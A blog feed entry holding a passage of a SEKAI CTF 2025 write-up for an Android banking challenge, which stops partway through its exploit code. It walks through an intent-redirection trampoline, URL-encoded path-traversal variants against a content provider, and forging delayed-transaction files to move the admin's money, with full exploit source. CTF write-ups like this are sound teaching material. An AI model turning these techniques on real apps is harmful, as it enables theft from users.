<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Azka Ainul Maarij</title>
  
  <subtitle>lawbyte</subtitle>
  <link href="https://lbyte.id/atom.xml" rel="self"/>
  
  <link href="https://lbyte.id/"/>
  <updated>2026-05-06T07:20:33.564Z</updated>
  <id>https://lbyte.id/</id>
  
  <author>
    <name>lawbyte</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>SEKAI CTF 2025: Sekai Bank Transaction</title>
    <link href="https://lbyte.id/2025/08/18/writeup/SEKAI%20CTF%202025:%20Sekai%20Bank%20Transaction/"/>
    <id>https://lbyte.id/2025/08/18/writeup/SEKAI%20CTF%202025:%20Sekai%20Bank%20Transaction/</id>
    <published>2025-08-18T00:00:00.000Z</published>
    <updated>2026-05-06T07:20:33.564Z</updated>
    
    <content type="html"><![CDATA[<iframe width="100%" height="400" src="https://www.youtube.com/embed/7xVm1CLk-Yo?si=OU-lhFM7VSq5ZCT1" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>This document provides a detailed walkthrough of the vulnerability found in the SekaiBank Android application and how we exploited it to steal one million from the admin user.</p><h2 id="Vulnerability-Analysis"><a href="#Vulnerability-Analysis" class="headerlink" title="Vulnerability Analysis"></a>Vulnerability Analysis</h2><h3 id="MainActivity-Fallback-Intent-Vulnerability"><a href="#MainActivity-Fallback-Intent-Vulnerability" class="headerlink" title="MainActivity Fallback Intent Vulnerability"></a>MainActivity Fallback Intent Vulnerability</h3><p>The primary vulnerability in the SekaiBank application is in the <code>MainActivity.onCreate()</code> method. The application has a try-catch block that, upon exception, retrieves a <code>ParcelableExtra</code> named “fallback” from the Intent and calls <code>startActivity()</code> on it:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span> <span class="comment">// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity</span></span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle bundle)</span> &#123;</span><br><span class="line">    <span class="built_in">super</span>.onCreate(bundle);</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.tokenManager = SekaiApplication.getInstance().getTokenManager();</span><br><span class="line">        <span class="keyword">if</span> (handlePinSetupFlow()) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception unused) &#123;</span><br><span class="line">        <span class="type">Intent</span> <span class="variable">intent</span> <span class="operator">=</span> (Intent) getIntent().getParcelableExtra(<span class="string">&quot;fallback&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (intent != <span class="literal">null</span>) &#123;</span><br><span class="line">            startActivity(intent);</span><br><span class="line">            finish();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// ... rest of onCreate</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>This is a critical vulnerability because:</p><ol><li>The <code>MainActivity</code> is exported (as shown in the AndroidManifest.xml)</li><li>It allows an attacker to execute arbitrary Intents within the victim app’s context</li><li>The exception can be easily triggered by providing malformed extras</li></ol><h3 id="Path-Traversal-in-LogProvider"><a href="#Path-Traversal-in-LogProvider" class="headerlink" title="Path Traversal in LogProvider"></a>Path Traversal in LogProvider</h3><p>The second vulnerability is in the <code>LogProvider</code> class. While the provider itself is not exported (<code>android:exported=&quot;false&quot;</code>), it does grant URI permissions (<code>android:grantUriPermissions=&quot;true&quot;</code>). This means that if we can execute code within the victim’s context (which we can via the MainActivity fallback), we can access this provider.</p><p>The <code>LogProvider.query()</code> method is vulnerable to path traversal:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span> <span class="comment">// android.content.ContentProvider</span></span><br><span class="line"><span class="keyword">public</span> Cursor <span class="title function_">query</span><span class="params">(Uri uri, String[] strArr, String str, String[] strArr2, String str2)</span> &#123;</span><br><span class="line">    File[] listFiles = <span class="keyword">new</span> <span class="title class_">File</span>(getContext().getCacheDir(), uri.getPath()).listFiles();</span><br><span class="line">    <span class="comment">// ... rest of method</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>It uses <code>uri.getPath()</code> directly without proper validation, allowing us to traverse directories using <code>../</code> (encoded as <code>%2e%2e/</code>).</p><p>The <code>openFile()</code> method has a simple check for <code>..</code> but can be bypassed with URL encoding:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span> <span class="comment">// android.content.ContentProvider</span></span><br><span class="line"><span class="keyword">public</span> ParcelFileDescriptor <span class="title function_">openFile</span><span class="params">(Uri uri, String str)</span> <span class="keyword">throws</span> FileNotFoundException &#123;</span><br><span class="line">    <span class="keyword">if</span> (uri.toString().contains(<span class="string">&quot;..&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FileNotFoundException</span>(<span class="string">&quot;Invalid path!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(getContext().getCacheDir(), uri.getPath());</span><br><span class="line">    <span class="keyword">if</span> (!file.exists()) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FileNotFoundException</span>(<span class="string">&quot;Log doesn&#x27;t exists!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ParcelFileDescriptor.open(file, <span class="number">805306368</span>); <span class="comment">// MODE_READ_WRITE</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="Delayed-Transaction-Processing"><a href="#Delayed-Transaction-Processing" class="headerlink" title="Delayed Transaction Processing"></a>Delayed Transaction Processing</h3><p>The SekaiBank app has a feature for delayed transactions, which are stored as JSON files in the app’s private storage:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// DelayedTransactionFileStorage.java</span></span><br><span class="line"><span class="keyword">public</span> <span class="title function_">DelayedTransactionFileStorage</span><span class="params">(Context context)</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.storageDir = <span class="keyword">new</span> <span class="title class_">File</span>(context.getFilesDir(), FOLDER_NAME);</span><br><span class="line">    initializeStorageDirectory();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>These transactions are processed by <code>DelayedTransactionManager.processReadyTransactions()</code>:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">processReadyTransactions</span><span class="params">(Context context)</span> &#123;</span><br><span class="line">    Log.d(TAG, <span class="string">&quot;Processing ready transactions...&quot;</span>);</span><br><span class="line">    <span class="type">DelayedTransactionManager</span> <span class="variable">delayedTransactionManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DelayedTransactionManager</span>(context);</span><br><span class="line">    List&lt;DelayedTransaction&gt; readyTransactions = delayedTransactionManager.storage.getReadyTransactions();</span><br><span class="line">    <span class="comment">// ... process transactions</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>The key vulnerability is that when transactions are processed, they use the currently authenticated user’s token - which in the CTF scenario is the admin’s token:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">processTransaction</span><span class="params">(DelayedTransaction delayedTransaction)</span> &#123;</span><br><span class="line">    Log.d(TAG, <span class="string">&quot;Processing transaction: &quot;</span> + delayedTransaction.getId());</span><br><span class="line">    SekaiApplication.getInstance().getApiClient().getApiService().sendMoney(<span class="keyword">new</span> <span class="title class_">SendMoneyRequest</span>(</span><br><span class="line">        delayedTransaction.getToUsername(), </span><br><span class="line">        delayedTransaction.getAmount(), </span><br><span class="line">        delayedTransaction.getMessage(), </span><br><span class="line">        delayedTransaction.getPin()</span><br><span class="line">    )).enqueue(<span class="keyword">new</span> <span class="title class_">TransactionCallback</span>(delayedTransaction));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="Exploitation-Chain"><a href="#Exploitation-Chain" class="headerlink" title="Exploitation Chain"></a>Exploitation Chain</h2><p>Our exploitation chain combines these vulnerabilities:</p><ol><li>Use the MainActivity fallback vulnerability to execute our code in the victim’s context</li><li>Use the LogProvider path traversal to access the delayed_transactions directory</li><li>Read an existing transaction to extract its PIN (needed for authentication)</li><li>Modify the transaction or create a new one to send money to our account</li><li>Wait for the transaction to be processed automatically</li></ol><h3 id="Step-1-Trigger-the-MainActivity-Fallback"><a href="#Step-1-Trigger-the-MainActivity-Fallback" class="headerlink" title="Step 1: Trigger the MainActivity Fallback"></a>Step 1: Trigger the MainActivity Fallback</h3><p>We create a malicious app with a <code>KickActivity</code> that:</p><ol><li>Creates a “fallback” Intent pointing to our <code>SinkActivity</code></li><li>Grants read&#x2F;write&#x2F;prefix permissions on a content URI targeting the LogProvider</li><li>Creates an Intent to the victim’s MainActivity with malformed extras to trigger the exception</li><li>Adds our fallback Intent as an extra to the victim Intent</li></ol><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// This is what the victim will start (our sink) with URI grants</span></span><br><span class="line"><span class="type">Intent</span> <span class="variable">fallback</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>(<span class="built_in">this</span>, SinkActivity.class);</span><br><span class="line">fallback.setData(target);</span><br><span class="line">fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION</span><br><span class="line">        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION</span><br><span class="line">        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);</span><br><span class="line">fallback.setClipData(ClipData.newRawUri(<span class="string">&quot;sekai&quot;</span>, target));</span><br><span class="line"></span><br><span class="line"><span class="comment">// Kick victim MainActivity; force try&#123;&#125; path and crash in setupMainUI()</span></span><br><span class="line"><span class="type">Intent</span> <span class="variable">kick</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>();</span><br><span class="line">kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Inside try&#123;&#125;: forces handlePinSetupFlow() → setupMainUI()</span></span><br><span class="line">kick.putExtra(<span class="string">&quot;from_pin_setup&quot;</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// setupMainUI() does (Context) extras.getParcelable(&quot;context&quot;) → ClassCastException</span></span><br><span class="line">kick.putExtra(<span class="string">&quot;context&quot;</span>, Uri.parse(<span class="string">&quot;x://not-a-context&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// Inject trampoline</span></span><br><span class="line">kick.putExtra(<span class="string">&quot;fallback&quot;</span>, fallback);</span><br><span class="line"></span><br><span class="line">startActivity(kick);</span><br></pre></td></tr></table></figure></div><h3 id="Step-2-Access-Delayed-Transactions-Directory"><a href="#Step-2-Access-Delayed-Transactions-Directory" class="headerlink" title="Step 2: Access Delayed Transactions Directory"></a>Step 2: Access Delayed Transactions Directory</h3><p>Once our <code>SinkActivity</code> is launched by the victim app, we have access to the LogProvider with the permissions we granted. We use path traversal to access the delayed_transactions directory:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Uri</span> <span class="variable">u</span> <span class="operator">=</span> getIntent().getData(); <span class="comment">// This is the URI from our fallback Intent</span></span><br><span class="line"><span class="comment">// URI is something like: content://com.sekai.bank.logprovider/%2e%2e/files/delayed_transactions/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// List files in the directory</span></span><br><span class="line"><span class="type">Cursor</span> <span class="variable">cursor</span> <span class="operator">=</span> getContentResolver().query(u, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br></pre></td></tr></table></figure></div><h3 id="Step-3-Extract-Transaction-Data"><a href="#Step-3-Extract-Transaction-Data" class="headerlink" title="Step 3: Extract Transaction Data"></a>Step 3: Extract Transaction Data</h3><p>We extract the first transaction file from the directory and read its contents:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Get the first file</span></span><br><span class="line">cursor.moveToFirst();</span><br><span class="line"><span class="keyword">if</span> (nameIndex &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">    firstFilename = cursor.getString(nameIndex);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Read the file content</span></span><br><span class="line"><span class="type">Uri</span> <span class="variable">fileUri</span> <span class="operator">=</span> Uri.parse(u + <span class="string">&quot;/&quot;</span> + firstFilename);</span><br><span class="line"><span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> getContentResolver().openInputStream(fileUri);</span><br><span class="line"><span class="type">byte</span>[] data = readAll(is);</span><br><span class="line"><span class="type">String</span> <span class="variable">fileContent</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(data);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Extract id and pin from JSON</span></span><br><span class="line"><span class="type">JSONObject</span> <span class="variable">json</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JSONObject</span>(fileContent);</span><br><span class="line">originalId = json.optString(<span class="string">&quot;id&quot;</span>, <span class="string">&quot;unknown-id&quot;</span>);</span><br><span class="line">originalPin = json.optString(<span class="string">&quot;pin&quot;</span>, <span class="string">&quot;000000&quot;</span>);</span><br></pre></td></tr></table></figure></div><h3 id="Step-4-Inject-Malicious-Transaction"><a href="#Step-4-Inject-Malicious-Transaction" class="headerlink" title="Step 4: Inject Malicious Transaction"></a>Step 4: Inject Malicious Transaction</h3><p>Finally, we create a malicious transaction with the extracted PIN (to pass authentication) and write it back to the file:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Create our payload with the extracted ID and PIN</span></span><br><span class="line"><span class="type">String</span> <span class="variable">modifiedPayload</span> <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;id\&quot;: \&quot;&quot;</span> + originalId + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;toUsername\&quot;: \&quot;none\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;amount\&quot;: 1000000,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;message\&quot;: \&quot;flag please\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;pin\&quot;: \&quot;&quot;</span> + originalPin + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;createdAt\&quot;: \&quot;&quot;</span> + now + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;scheduledTime\&quot;: \&quot;&quot;</span> + pastTime + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  \&quot;type\&quot;: \&quot;USER_SCHEDULED\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Write the modified payload to the file</span></span><br><span class="line"><span class="type">OutputStream</span> <span class="variable">os</span> <span class="operator">=</span> getContentResolver().openOutputStream(fileUri);</span><br><span class="line">os.write(modifiedPayload.getBytes());</span><br><span class="line">os.flush();</span><br><span class="line">os.close();</span><br></pre></td></tr></table></figure></div><p>The transaction will be processed automatically by the victim app, using the admin’s token, and the money will be sent to our account.</p><h2 id="Code-Implementation"><a href="#Code-Implementation" class="headerlink" title="Code Implementation"></a>Code Implementation</h2><h3 id="KickActivity"><a href="#KickActivity" class="headerlink" title="KickActivity"></a>KickActivity</h3><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lbyte.sekai_exp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.app.Activity;</span><br><span class="line"><span class="keyword">import</span> android.content.ClipData;</span><br><span class="line"><span class="keyword">import</span> android.content.Intent;</span><br><span class="line"><span class="keyword">import</span> android.net.Uri;</span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Launcher:</span></span><br><span class="line"><span class="comment"> *  - Forces victim MainActivity into try&#123;&#125; and throws (ClassCastException)</span></span><br><span class="line"><span class="comment"> *  - Supplies fallback Intent to our SinkActivity</span></span><br><span class="line"><span class="comment"> *  - Embeds a content:// URI for LogProvider with READ/WRITE/PREFIX grants</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">KickActivity</span> <span class="keyword">extends</span> <span class="title class_">Activity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Victim identifiers</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">VICTIM_PKG</span>   <span class="operator">=</span> <span class="string">&quot;com.sekai.bank&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">VICTIM_ENTRY</span> <span class="operator">=</span> <span class="string">&quot;com.sekai.bank.MainActivity&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">VICTIM_AUTH</span>  <span class="operator">=</span> <span class="string">&quot;com.sekai.bank.logprovider&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Pick ONE TARGET below by changing TARGET_INDEX.</span></span><br><span class="line"><span class="comment">     * Start with index 0 to list cache (sanity check), then progress.</span></span><br><span class="line"><span class="comment">     * If a variant fails, try switching data root between /data/data and /data/user/0.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String[] TARGETS = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;</span><br><span class="line">            <span class="comment">// 0) List files in delayed_transactions directory</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/%2e%2e/files/delayed_transactions/&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 1) Alternative URL encoding for listing</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/..%2ffiles/delayed_transactions/&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2) Double encoded traversal for listing</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/%252e%252e/files/delayed_transactions/&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3) Mixed encoding for listing</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/%2e./files/delayed_transactions/&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 4) Unicode encoding for listing</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/%c0%ae%c0%ae/files/delayed_transactions/&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 5) Nested traversal for listing</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/%2e%2e/%2e%2e/data/data/com.sekai.bank/files/delayed_transactions/&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 6) Slash encoding for listing</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/%2e%2e%2ffiles%2fdelayed_transactions/&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 7) Try with absolute path from cache for listing</span></span><br><span class="line">            <span class="string">&quot;content://&quot;</span> + VICTIM_AUTH + <span class="string">&quot;/..%2f..%2fdata%2fdata%2fcom.sekai.bank%2ffiles%2fdelayed_transactions/&quot;</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">TARGET_INDEX</span> <span class="operator">=</span> <span class="number">0</span>; <span class="comment">// Using direct path to directory</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> Uri <span class="title function_">buildTargetUri</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Uri.parse(TARGETS[TARGET_INDEX]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line"></span><br><span class="line">        <span class="type">Uri</span> <span class="variable">target</span> <span class="operator">=</span> buildTargetUri();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// This is what the victim will start (our sink) with URI grants</span></span><br><span class="line">        <span class="type">Intent</span> <span class="variable">fallback</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>(<span class="built_in">this</span>, SinkActivity.class);</span><br><span class="line">        fallback.setData(target);</span><br><span class="line">        fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION</span><br><span class="line">                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION</span><br><span class="line">                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);</span><br><span class="line">        fallback.setClipData(ClipData.newRawUri(<span class="string">&quot;sekai&quot;</span>, target));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Kick victim MainActivity; force try&#123;&#125; path and crash in setupMainUI()</span></span><br><span class="line">        <span class="type">Intent</span> <span class="variable">kick</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>();</span><br><span class="line">        kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Inside try&#123;&#125;: forces handlePinSetupFlow() → setupMainUI()</span></span><br><span class="line">        kick.putExtra(<span class="string">&quot;from_pin_setup&quot;</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// setupMainUI() does (Context) extras.getParcelable(&quot;context&quot;) → ClassCastException</span></span><br><span class="line">        kick.putExtra(<span class="string">&quot;context&quot;</span>, Uri.parse(<span class="string">&quot;x://not-a-context&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Inject trampoline</span></span><br><span class="line">        kick.putExtra(<span class="string">&quot;fallback&quot;</span>, fallback);</span><br><span class="line"></span><br><span class="line">        startActivity(kick);</span><br><span class="line">        finish();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="SinkActivity"><a href="#SinkActivity" class="headerlink" title="SinkActivity"></a>SinkActivity</h3><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span 